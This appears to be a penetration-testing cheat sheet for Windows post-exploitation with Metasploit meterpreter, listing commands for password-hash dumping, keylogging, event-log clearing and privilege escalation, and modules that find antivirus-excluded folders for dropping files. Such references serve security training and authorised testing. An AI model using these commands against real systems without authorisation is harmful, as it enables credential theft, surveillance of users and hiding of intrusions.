Windows post-exploitation: meterpreter commands and post modules

After landing a Windows meterpreter session, the standard workflow is to confirm who you are, what you’re running on, what else is on the box, and whether you can escalate further.

Meterpreter built-ins

sysinfo            # OS/arch/hostname/domain
getuid             # current user context
getsystem          # try automated privilege escalation techniques
hashdump           # local account hashes (requires SYSTEM)
show_mount         # drives / shares visible to this session
ps                 # list all running processes
migrate <pid>      # move to a more stable/privileged process (Explorer.exe is a good target)
keyscan_start      # start keylogger
keyscan_dump       # dump captured keystrokes
keyscan_stop
clearev            # clear Application, System, and Security event logs (needs elevated privs)

Post-exploitation gather/enum modules

Set SESSION before running any module:

set SESSION <id>
run

Module	Purpose
post/windows/gather/win_privs	privileges on this account, UAC status
post/windows/gather/enum_logged_on_users	who else is logged in
post/windows/gather/checkvm	is this a VM? (affects stealth decisions)
post/windows/gather/enum_applications	installed software with vendor and version
post/windows/gather/enum_av_excluded	AV exclusion folders (safe to drop files into these)
post/windows/gather/enum_computers	other hosts visible on the domain
post/windows/gather/enum_patches	installed patches to cross-ref with kernel exploits
post/windows/gather/enum_shares	accessible shares / drives
post/multi/recon/local_exploit_suggester	automated privesc candidates

• migrate into a more stable process before running anything long-running, as the process your session is running in can disappear if a user closes it, killing your session. explorer.exe is a reliable long-lived target as it usually lives for as long as the machine is on.
• enum_patches sometimes fails mid-session; the reliable fallback is shell → systeminfo and reading the Hotfix(es) section directly.

Related

• Windows access token impersonation: natural next step after getsystem fails
• Kernel exploit suggesters: WES-NG, Windows Exploit Suggester, Linux Exploit Suggester: deeper dive on cross-referencing enum_patches output
• Windows hash dumping and pass-the-hash: the fuller credential dump beyond the built-in hashdump
• Windows persistence: setting up a way back in once enumeration is done